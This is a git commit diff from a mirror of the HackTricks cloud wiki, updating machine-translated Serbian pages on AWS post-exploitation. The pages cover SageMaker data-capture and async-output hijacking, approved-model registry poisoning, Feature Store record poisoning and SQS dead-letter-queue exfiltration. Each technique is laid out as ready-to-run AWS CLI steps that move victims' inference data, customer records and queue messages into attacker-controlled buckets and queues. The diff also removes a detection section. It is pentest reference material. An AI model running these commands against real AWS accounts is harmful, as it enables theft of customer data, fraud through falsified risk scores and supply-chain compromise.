mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint odliv podataka preko UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Iskoristite upravljanje SageMaker endpoint-om da omogućite potpuno snimanje zahteva i odgovora u S3 bucket koji kontroliše napadač, bez diranja modela ili container-a. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpoint-om.
|
||||
Iskoristite SageMaker endpoint management da omogućite potpuni snimak zahteva/odgovora u attacker‑controlled S3 bucket bez diranja modela ili container‑a. Koristi zero/low‑downtime rolling update i zahteva samo endpoint management permissions.
|
||||
|
||||
### Zahtevi
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ili koristite postojeći bucket u istom nalogu)
|
||||
- Opcionalno (ako se koristi SSE‑KMS): `kms:Encrypt` na odabranom CMK
|
||||
- Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
|
||||
### Koraci
|
||||
1) Identifikujte InService endpoint i prikupite trenutne produkcione varijante
|
||||
### Steps
|
||||
1) Identifikujte InService endpoint i prikupite trenutne varijante u produkciji
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Pripremite attacker S3 destinaciju za captures
|
||||
2) Pripremite attacker S3 destinaciju za snimke
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Kreirajte novi EndpointConfig koji zadržava iste varijante, ali omogućava DataCapture u attacker bucket
|
||||
|
||||
Napomena: Koristite eksplicitne content-type vrednosti koje zadovoljavaju CLI validaciju.
|
||||
Napomena: Koristite eksplicitne tipove sadržaja koji zadovoljavaju CLI validaciju.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,35 +54,35 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja)
|
||||
4) Primeni novi config pomoću rolling update (minimal/no downtime)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Generišite najmanje jedan poziv za inferencu (opciono ako postoji saobraćaj uživo)
|
||||
5) Generišite najmanje jedan poziv за inferencu (opciono ако већ постоји live саобраћај)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Potvrdite captures u attacker S3
|
||||
6) Validirajte snimke u napadačevom S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Uticaj
|
||||
- Potpuna exfiltration real‑time inference request i response payload‑ova (i metapodataka) sa ciljanog endpointa u S3 bucket pod kontrolom napadača.
|
||||
- Nema izmena model/container image‑a i samo izmene na nivou endpointa, što omogućava prikriveni put krađe podataka sa minimalnim operativnim prekidima.
|
||||
- Potpuna exfiltration real‑time inference request i response payloadova (i metapodataka) sa ciljane endpoint u S3 bucket pod kontrolom napadača.
|
||||
- Bez izmena modela/slike kontejnera i samo izmene na nivou endpointa, omogućavajući a stealthy data theft path sa minimalnim operativnim ometanjem.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Iskoristite upravljanje endpointom da preusmerite izlaze asinkronih inference‑a u S3 bucket pod kontrolom napadača kloniranjem trenutnog EndpointConfig‑a i postavljanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (i sve transformisane inpute koje container uključuje) bez menjanja modela/containera.
|
||||
Iskoristite upravljanje endpointom da preusmerite asinhrone izlaze inferencije u S3 bucket pod kontrolom napadača tako što ćete klonirati trenutni EndpointConfig i postaviti AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Ovo exfiltrates predikcije modela (i bilo koje transformisane ulaze koje uključuje kontejner) bez izmene modela/slike kontejnera.
|
||||
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Sposobnost upisa u S3 bucket pod kontrolom napadača (putem model execution role ili permissive bucket policy)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
- S3: Mogućnost pisanja u S3 bucket pod kontrolom napadača (putem model execution role ili permisivne bucket policy)
|
||||
- Target: An InService endpoint gde se asinhrone invokacije koriste (ili će se koristiti)
|
||||
|
||||
### Steps
|
||||
1) Gather current ProductionVariants from the target endpoint
|
||||
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject u njega)
|
||||
2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject na njega)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Kloniraj EndpointConfig i hijack AsyncInference izlaze u attacker bucket
|
||||
3) Clone EndpointConfig i hijack AsyncInference izlaze u attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Pokrenite async invocation i proverite da li objects dospevaju u attacker S3
|
||||
4) Pokrenite async invocation i proverite da li objekti stignu u attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Uticaj
|
||||
- Preusmerava rezultate asinhrone inferencije (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/post-obrade koje proizvodi container, bez menjanja model code ili image i uz minimalan/nikakav zastoj.
|
||||
- Preusmerava rezultate asinhronog inferiranja (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih pre/post-procesiranih ulaza koje proizvodi kontejner, bez menjanja koda ili slike modela i uz minimalno/bez zastoja.
|
||||
|
||||
|
||||
## SageMaker Model Registry injekcija lanca snabdevanja preko CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry supply-chain injekcija putem CreateModelPackage(Approved)
|
||||
|
||||
Ako napadač može CreateModelPackage na ciljanoj SageMaker Model Package Group, može registrovati novu verziju modela koja pokazuje na attacker-controlled container image i odmah je označiti kao Approved. Mnogi CI/CD pipelines automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što rezultira attacker code execution pod execution rolama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy.
|
||||
Ako napadač može da izvrši CreateModelPackage na ciljanoj SageMaker Model Package Group, može da registruje novu verziju modela koja pokazuje na sliku kontejnera pod kontrolom napadača i odmah je označi kao Approved. Mnogi CI/CD pipeline-i automatski deploy-uju Approved verzije modela na endpoint-e ili training job-ove, što rezultira izvršavanjem koda napadača pod execution rolama servisa. Cross-account izloženost može biti pojačana permisivnom ModelPackageGroup resource policy.
|
||||
|
||||
### Zahtevi
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Opcionalno (za kreiranje grupe ako ne postoji): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: pristup za čitanje do referenciranog ModelDataUrl (ili host attacker-controlled artifacts)
|
||||
- Cilj: A Model Package Group koju downstream automation prati za Approved verzije
|
||||
- IAM (minimum da kompromituje postojeću grupu): `sagemaker:CreateModelPackage` na ciljanoj ModelPackageGroup
|
||||
- Opcionalno (da kreira grupu ako ne postoji): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read pristup referenciranom ModelDataUrl (ili hostovanje artefakata pod kontrolom napadača)
|
||||
- Cilj: A Model Package Group koju downstream automatizacija prati za Approved verzije
|
||||
|
||||
### Koraci
|
||||
1) Podesiti region i kreirati/pronaći ciljani Model Package Group
|
||||
1) Podesiti region i kreirati/pronaći ciljanu Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Pripremite probne podatke modela u S3
|
||||
2) Pripremite lažne podatke za model u S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrujte zlonamerni (ovde bezopasan) Approved model package version koja referencira javni AWS DLC image
|
||||
3) Registrujte zlonamerni (ovde benigni) Approved model package version koji referencira javnu AWS DLC image
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Proverite da nova odobrena verzija postoji
|
||||
4) Proverite da li nova odobrena verzija postoji
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Uticaj
|
||||
- Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-uju Approved models mogu povući i pokrenuti attacker image, što dovodi do izvršavanja koda pod endpoint/training rolama.
|
||||
- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba se može pokrenuti cross-account.
|
||||
- Poison the Model Registry sa Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koje automatski deploy-uju Approved modele mogu povući i pokrenuti napadačev image, što može dovesti do izvršavanja koda pod endpoint/training roles.
|
||||
- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba može biti pokrenuta cross-account.
|
||||
|
||||
## Zatrovanje Feature store
|
||||
## Feature store poisoning
|
||||
|
||||
Zlorabiti `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup models ili endpoints.
|
||||
Zloupotrebite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpointima.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete aktivne vrednosti feature-ova koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-ove i izneti poverljive ML podatke. Ovo ne zahteva pristup modelima ili endpoint-ima, što ga čini direktnim napadom na sloj podataka.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Iskoristiti `sagemaker:PutRecord` na Feature Group-u sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpoint-ima.
|
||||
|
||||
## Zahtevi
|
||||
- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava inferencu u realnom vremenu)
|
||||
- Složenost: **NISKO** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelom
|
||||
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference)
|
||||
- Složenost: **LOW** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelima
|
||||
|
||||
## Koraci
|
||||
|
||||
### Prikupljanje informacija
|
||||
### Reconnaissance
|
||||
|
||||
1) Navesti Feature Groups sa omogućenim OnlineStore
|
||||
1) Nabrojite Feature Groups sa omogućenim OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -26,9 +28,9 @@ aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName`, i sve definicije feature-a. Oni su potrebni za sastavljanje validnih zapisa.
|
||||
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName` i sve definicije feature-a. Oni su potrebni za kreiranje važećih zapisa.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Scenarij napada 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Pročitajte trenutni legitimni zapis
|
||||
```bash
|
||||
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Zatrovaj zapis malicioznim vrednostima koristeći inline `--record` parametar
|
||||
2) Zatrovati zapis zlonamernim vrednostima koristeći inline `--record` parametar
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Proverite poisoned data
|
||||
3) Proverite zatrovane podatke
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Uticaj**: ML modeli koji koriste ovu karakteristiku će sada videti `risk_score=0.99` za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge.
|
||||
**Uticaj**: ML modeli koji koriste ovu feature sada će videti `risk_score=0.99` za legitimnog korisnika, potencijalno blokirajući njihove transakcije ili usluge.
|
||||
|
||||
### Scenarij napada 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### Scenarij napada 2: Maliciozna injekcija podataka (Kreiranje lažnih zapisa)
|
||||
|
||||
Ubaci potpuno nove zapise sa manipulisanim atributima kako bi zaobišao sigurnosne kontrole:
|
||||
Injektujte potpuno nove zapise sa manipulisanim atributima kako biste izbegli sigurnosne kontrole:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Proverite injection:
|
||||
Potvrdite injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Uticaj**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara.
|
||||
**Uticaj**: Napadač kreira lažni identitet sa niskom ocenom rizika (0.01) koji može da izvede visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara.
|
||||
|
||||
### Scenarij napada 3: Eksfiltracija osetljivih podataka
|
||||
|
||||
Pročitajte više zapisa da biste izvukli poverljive karakteristike i profilisali ponašanje modela:
|
||||
Pročitajte više zapisa da biste izvukli poverljive atribute i profilisali ponašanje modela:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Uticaj**: Poverljivi atributi (ocene rizika, obrasci transakcija, lični podaci) izloženi napadaču.
|
||||
**Uticaj**: Poverljive karakteristike (ocene rizika, obrasci transakcija, lični podaci) izložene napadaču.
|
||||
|
||||
### Kreiranje test/demo Feature Group (opcioni)
|
||||
### Kreiranje test/demo Feature Group-a (opciono)
|
||||
|
||||
Ako treba da kreirate test Feature Group:
|
||||
```bash
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detekcija
|
||||
|
||||
Nadgledajte CloudTrail za sumnjive obrasce:
|
||||
- `PutRecord` događaji od neobičnih IAM principal-a ili IP adresa
|
||||
- Visoka frekvencija `PutRecord` ili `GetRecord` poziva
|
||||
- `PutRecord` sa anomalnim vrednostima feature-a (npr., risk_score izvan uobičajenog opsega)
|
||||
- Masovne `GetRecord` operacije koje ukazuju na masovnu eksfiltraciju podataka
|
||||
- Pristup van uobičajenog radnog vremena ili iz neočekivanih lokacija
|
||||
|
||||
Implementirajte detekciju anomalija:
|
||||
- Validacija vrednosti feature-a (npr., risk_score mora biti 0.0-1.0)
|
||||
- Analiza obrazaca zapisa (frekvencija, tajming, identitet izvora)
|
||||
- Detekcija data drift-a (nenadane promene u distribucijama feature-a)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
# AWS – SQS DLQ Redrive Exfiltration putem StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Iskoristite SQS message move tasks da biste ukrali sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi se eksfiltrirali osetljivi podaci koji su se vremenom nakupili u DLQ-ovima.
|
||||
## Opis
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
Zloupotrebite SQS message move tasks da ukradete sve akumulirane poruke iz Dead-Letter Queue (DLQ) žrtve preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika iskorišćava legitimnu AWS funkciju za oporavak poruka da bi exfiltrirala osetljive podatke koji su se vremenom nagomilali u DLQ-evima.
|
||||
|
||||
A Dead-Letter Queue je specijalan SQS queue u koji se poruke automatski šalju kada se ne uspešno obrade u glavnoj aplikaciji. Ove neuspele poruke često sadrže:
|
||||
- Osetljive podatke aplikacije koji nisu mogli biti obrađeni
|
||||
- Detalje o greškama i informacije za debug
|
||||
## Šta je Dead-Letter Queue (DLQ)?
|
||||
|
||||
A Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada ne uspeju da budu uspešno obrađene od strane glavne aplikacije. Te neuspešne poruke često sadrže:
|
||||
- Osetljive podatke aplikacije koje nije bilo moguće obraditi
|
||||
- Detalje o greškama i informacije za debagovanje
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokene, kredencijale ili druge tajne
|
||||
- Poslovno kritične podatke o transakcijama
|
||||
- API tokens, kredencijale ili druge tajne
|
||||
- Poslovno-kritične podatke o transakcijama
|
||||
|
||||
DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, što ih čini vrednim metama jer se vremenom u njima akumuliraju osetljivi podaci koje aplikacije nisu mogle ispravno obraditi.
|
||||
DLQ-evi funkcionišu kao "groblje" za neuspešne poruke, što ih čini vrednim metama jer se vremenom u njima nagomilavaju osetljivi podaci koje aplikacije nisu pravilno obradile.
|
||||
|
||||
## Attack Scenario
|
||||
## Scenarij napada
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** obrađuje porudžbine kupaca kroz SQS
|
||||
2. **Neke porudžbine zakažu** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ
|
||||
3. **DLQ akumulira** nedelje/meseci neuspelih porudžbina koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Napadač dobija pristup** AWS credential-ima sa SQS dozvolama
|
||||
5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima
|
||||
6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u sopstveni queue
|
||||
7. **Napadač izvuče** sve istorijske osetljive podatke u jednoj operaciji
|
||||
**Primer iz stvarnog sveta:**
|
||||
1. **Aplikacija za e-trgovinu** obrađuje porudžbine kupaca preko SQS-a
|
||||
2. **Neke porudžbine neuspeju** (problemi sa plaćanjem, zalihe, itd.) i budu prebačene u DLQ
|
||||
3. **DLQ se nagomilava** nedeljama/mesecima neuspešnih porudžbina koje sadrže podatke kupaca: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Napadač dobija pristup** AWS akreditivima sa SQS dozvolama
|
||||
5. **Napadač otkriva** da DLQ sadrži hiljade neuspešnih porudžbina sa osetljivim podacima
|
||||
6. **Umesto da pokušava da pristupi pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` za masovni transfer SVIH poruka u sopstveni red
|
||||
7. **Napadač izvlači** sve istorijske osetljive podatke jednim potezom
|
||||
|
||||
## Requirements
|
||||
- Izvorni queue mora biti konfigurisан kao DLQ (referenciran od strane bar jednog queue RedrivePolicy).
|
||||
- IAM permissions (izvodi se kao kompromitovani žrtvin principal):
|
||||
- Na DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na destination queue: dozvola za dostavljanje poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično po defaultu dozvoljeno.
|
||||
- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
## Zahtevi
|
||||
- Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog reda preko RedrivePolicy).
|
||||
- IAM dozvole (pokreće se kao kompromitovani principal žrtve):
|
||||
- Na DLQ (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na red odredištu: dozvola za isporuku poruka (npr. politika reda koja omogućava `sqs:SendMessage` od strane principal-a žrtve). Za destinacije u istom account-u ovo je obično dozvoljeno podrazumevano.
|
||||
- Ako je omogućen SSE-KMS: na izvornoj CMK `kms:Decrypt`, i na destinacionoj CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Exfiltrate osetljive payload-e akumulirane u DLQ-ovima (neuspešni eventi, PII, tokeni, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od žrtvinog principala.
|
||||
## Uticaj
|
||||
Exfiltrate osetljive payload-e nagomilane u DLQ-evima (neuspešni eventi, PII, tokens, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako politika reda odredišta dozvoljava `SendMessage` od strane principal-a žrtve.
|
||||
|
||||
## How to Abuse
|
||||
## Kako zloupotrebiti
|
||||
|
||||
- Identifikujte ARN žrtvinog DLQ-a i uverite se da je zaista referenciran kao DLQ od strane nekog queue-a (bilo koji queue je dovoljan).
|
||||
- Kreirajte ili izaberite destination queue pod kontrolom napadača i dobijte njegov ARN.
|
||||
- Pokrenite message move task sa žrtvinog DLQ-a na vaš destination queue.
|
||||
- Identifikujte ARN DLQ žrtve i proverite da li je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan).
|
||||
- Kreirajte ili izaberite red odredište koji kontroliše napadač i nabavite njegov ARN.
|
||||
- Pokrenite message move task iz DLQ-a žrtve do vašeg reda odredišta.
|
||||
- Pratite napredak ili otkažite po potrebi.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
|
||||
**Scenario**: Napadač je kompromitovao AWS akreditive i otkrio da aplikacija za e-trgovinu koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **Otkrivanje i pregled DLQ-a žrtve**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Kreirajte destinacijsku queue pod kontrolom napadača**
|
||||
2) **Kreirajte odredišni red pod kontrolom napadača**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Izvršite masovnu krađu poruka**
|
||||
3) **Izvršite bulk message theft**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Prikupite ukradene osetljive podatke**
|
||||
4) **Prikupi ukradene osetljive podatke**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Napomene o Cross-account
|
||||
- Odredišna queue mora imati resource policy koji omogućava victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
|
||||
### Napomene za cross-account
|
||||
- Odredišna queue mora imati resource policy koji dopušta victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
